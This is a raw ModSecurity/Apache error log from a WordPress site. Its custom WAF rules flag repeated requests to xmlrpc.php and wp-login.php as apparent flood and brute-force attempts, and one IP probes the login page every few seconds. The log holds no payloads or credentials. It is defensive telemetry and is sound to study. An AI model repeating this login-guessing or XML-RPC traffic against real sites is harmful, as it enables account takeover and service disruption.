[Wed Nov 12 17:26:14.586309 2025] [:error] [pid 60405:tid 60408] [client 154.159.238.4:19707] [client 154.159.238.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.159.238.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRRStnMGv_mlVi6mf5rnkgAAAAA"]
[Wed Nov 12 17:27:21.382232 2025] [:error] [pid 60180:tid 60196] [client 154.159.238.4:9567] [client 154.159.238.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.159.238.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRRS-Vhgd7ccS8EZg1orvgAAAU4"]
[Wed Nov 12 17:28:01.102845 2025] [:error] [pid 60405:tid 60411] [client 74.63.210.136:53434] [client 74.63.210.136] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.63.210.136, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRRTIXMGv_mlVi6mf5roSwAAAAM"]
[Wed Nov 12 17:28:25.211212 2025] [:error] [pid 12744:tid 12759] [client 154.159.238.4:29116] [client 154.159.238.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.159.238.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRRTOZ1cp_ouUvkFj0U_WAAAAQs"]
[Wed Nov 12 17:29:27.108482 2025] [:error] [pid 60096:tid 60155] [client 154.159.238.4:16707] [client 154.159.238.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.159.238.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRRTdzmzkhCvvk8DXOyNXwAAAJU"]
[Wed Nov 12 17:30:32.401708 2025] [:error] [pid 60180:tid 60205] [client 154.159.238.4:3852] [client 154.159.238.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.159.238.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRRTuFhgd7ccS8EZg1osXQAAAVc"]
[Wed Nov 12 17:31:36.530431 2025] [:error] [pid 60097:tid 60161] [client 154.159.238.4:22955] [client 154.159.238.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.159.238.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRRT-MdT5oio_TbWpi9m4QAAAMg"]
[Wed Nov 12 17:32:39.886136 2025] [:error] [pid 12744:tid 12748] [client 154.159.238.4:11366] [client 154.159.238.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.159.238.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRRUN51cp_ouUvkFj0VAlAAAAQA"]
[Wed Nov 12 17:33:46.248351 2025] [:error] [pid 60097:tid 60176] [client 154.159.238.4:1124] [client 154.159.238.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.159.238.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRRUesdT5oio_TbWpi9nUQAAANc"]
[Wed Nov 12 17:34:46.287473 2025] [:error] [pid 60180:tid 60195] [client 154.159.238.4:18586] [client 154.159.238.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.159.238.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRRUtlhgd7ccS8EZg1otnQAAAU0"]
[Wed Nov 12 17:35:46.546466 2025] [:error] [pid 60095:tid 60120] [client 154.159.238.4:4967] [client 154.159.238.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.159.238.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRRU8nlw2elroagFF1ogtwAAAFU"]
[Wed Nov 12 17:36:46.283594 2025] [:error] [pid 60405:tid 60410] [client 154.159.238.4:23426] [client 154.159.238.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.159.238.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRRVLnMGv_mlVi6mf5rqpwAAAAI"]
[Wed Nov 12 17:37:46.247139 2025] [:error] [pid 60405:tid 60424] [client 154.159.238.4:12478] [client 154.159.238.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.159.238.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRRVanMGv_mlVi6mf5rq6QAAABA"]
[Wed Nov 12 17:38:46.205101 2025] [:error] [pid 60180:tid 60194] [client 37.140.223.220:62229] [client 37.140.223.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.220, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRVplhgd7ccS8EZg1ouWgAAAUw"]
[Wed Nov 12 17:54:45.947484 2025] [:error] [pid 60097:tid 60166] [client 37.140.223.215:34627] [client 37.140.223.215] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.215, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRZZcdT5oio_TbWpi9r1QAAAM0"]
[Wed Nov 12 18:05:02.627426 2025] [:error] [pid 23737:tid 23751] [client 163.61.112.5:59396] [client 163.61.112.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.61.112.5, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRbzhQUsVVfOZWgW_WRUgAAAYI"]
[Wed Nov 12 18:08:23.161396 2025] [:error] [pid 23737:tid 23757] [client 78.157.49.100:58214] [client 78.157.49.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.157.49.100, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRRclxQUsVVfOZWgW_WS7QAAAYg"]
[Wed Nov 12 18:10:37.450005 2025] [:error] [pid 60095:tid 60100] [client 37.140.223.251:31215] [client 37.140.223.251] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.251, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRdHXlw2elroagFF1oohAAAAEE"]
[Wed Nov 12 18:26:48.890079 2025] [:error] [pid 60095:tid 60116] [client 5.180.252.164:37224] [client 5.180.252.164] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.180.252.164, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRRg6Hlw2elroagFF1otUwAAAFE"]
[Wed Nov 12 18:27:25.188514 2025] [:error] [pid 60096:tid 60136] [client 37.140.223.219:34683] [client 37.140.223.219] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.219, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRhDTmzkhCvvk8DXOycOQAAAIo"]
[Wed Nov 12 18:43:12.027302 2025] [:error] [pid 23737:tid 23757] [client 136.144.33.11:24479] [client 136.144.33.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.33.11, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRkwBQUsVVfOZWgW_WiVgAAAYg"]
[Wed Nov 12 18:49:32.481916 2025] [:error] [pid 60095:tid 60111] [client 103.124.95.251:46488] [client 103.124.95.251] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.124.95.251, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRmPHlw2elroagFF1ozLgAAAEw"]
[Wed Nov 12 18:49:37.260389 2025] [:error] [pid 60095:tid 60101] [client 103.124.95.251:46488] [client 103.124.95.251] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.124.95.251, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRmQXlw2elroagFF1ozMgAAAEI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 18:58:44.422901 2025] [:error] [pid 60096:tid 60132] [client 172.245.102.86:28261] [client 172.245.102.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.245.102.86, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRoZDmzkhCvvk8DXOyj1wAAAIY"]
[Wed Nov 12 19:08:09.834630 2025] [:error] [pid 60095:tid 60118] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRqmXlw2elroagFF1o3JAAAAFM"], referer: https://twitter.com/
[Wed Nov 12 19:08:11.497117 2025] [:error] [pid 60095:tid 60102] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRqm3lw2elroagFF1o3JgAAAEM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:08:16.984637 2025] [:error] [pid 60095:tid 60120] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRqoHlw2elroagFF1o3LQAAAFU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:08:21.057879 2025] [:error] [pid 60095:tid 60118] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRqpXlw2elroagFF1o3NAAAAFM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:08:25.065167 2025] [:error] [pid 60095:tid 60113] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRqqXlw2elroagFF1o3OQAAAE4"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:08:29.136627 2025] [:error] [pid 60095:tid 60121] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRqrXlw2elroagFF1o3PAAAAFY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:08:32.917270 2025] [:error] [pid 60095:tid 60108] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRqsHlw2elroagFF1o3PwAAAEk"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:08:36.679361 2025] [:error] [pid 60095:tid 60115] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRqtHlw2elroagFF1o3QwAAAFA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:08:40.837422 2025] [:error] [pid 60095:tid 60100] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRquHlw2elroagFF1o3SAAAAEE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:08:44.618260 2025] [:error] [pid 60095:tid 60105] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRqvHlw2elroagFF1o3SwAAAEY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:08:48.564142 2025] [:error] [pid 60095:tid 60107] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRqwHlw2elroagFF1o3UAAAAEg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:08:52.265518 2025] [:error] [pid 60095:tid 60103] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRqxHlw2elroagFF1o3VQAAAEQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:08:56.223668 2025] [:error] [pid 60095:tid 60111] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRqyHlw2elroagFF1o3WgAAAEw"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:08:59.903732 2025] [:error] [pid 60095:tid 60123] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRqy3lw2elroagFF1o3YAAAAFg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:09:00.558719 2025] [:error] [pid 60180:tid 60191] [client 194.63.239.143:35234] [client 194.63.239.143] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.63.239.143, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRqzFhgd7ccS8EZg1pI5wAAAUk"]
[Wed Nov 12 19:09:03.913421 2025] [:error] [pid 60095:tid 60118] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRqz3lw2elroagFF1o3ZQAAAFM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:09:04.165552 2025] [:error] [pid 60180:tid 60182] [client 194.63.239.143:35234] [client 194.63.239.143] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.63.239.143, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRq0Fhgd7ccS8EZg1pI6wAAAUA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:09:07.716499 2025] [:error] [pid 60095:tid 60116] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRq03lw2elroagFF1o3aQAAAFE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:09:11.366497 2025] [:error] [pid 60095:tid 60108] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRq13lw2elroagFF1o3bgAAAEk"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:09:15.100870 2025] [:error] [pid 60095:tid 60109] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRq23lw2elroagFF1o3cgAAAEo"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:09:19.458008 2025] [:error] [pid 60095:tid 60101] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRq33lw2elroagFF1o3dgAAAEI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:09:23.512482 2025] [:error] [pid 60095:tid 60119] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRq43lw2elroagFF1o3fAAAAFQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:09:27.601431 2025] [:error] [pid 60095:tid 60103] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRq53lw2elroagFF1o3gAAAAEQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:09:31.305487 2025] [:error] [pid 60095:tid 60100] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRq63lw2elroagFF1o3jAAAAEE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:09:35.217008 2025] [:error] [pid 60095:tid 60101] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRq73lw2elroagFF1o3nQAAAEI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:09:39.206984 2025] [:error] [pid 60095:tid 60105] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRq83lw2elroagFF1o3ogAAAEY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:09:43.256940 2025] [:error] [pid 60095:tid 60121] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRq93lw2elroagFF1o3sAAAAFY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:09:47.238619 2025] [:error] [pid 60095:tid 60112] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRq-3lw2elroagFF1o3uAAAAE0"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:09:50.942205 2025] [:error] [pid 60095:tid 60108] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRq_nlw2elroagFF1o3vwAAAEk"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:09:54.955411 2025] [:error] [pid 60095:tid 60110] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRrAnlw2elroagFF1o3wgAAAEs"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:09:59.026866 2025] [:error] [pid 60095:tid 60101] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRrB3lw2elroagFF1o3yAAAAEI"], referer: https://rcacivilgroup.com/wp-login.php
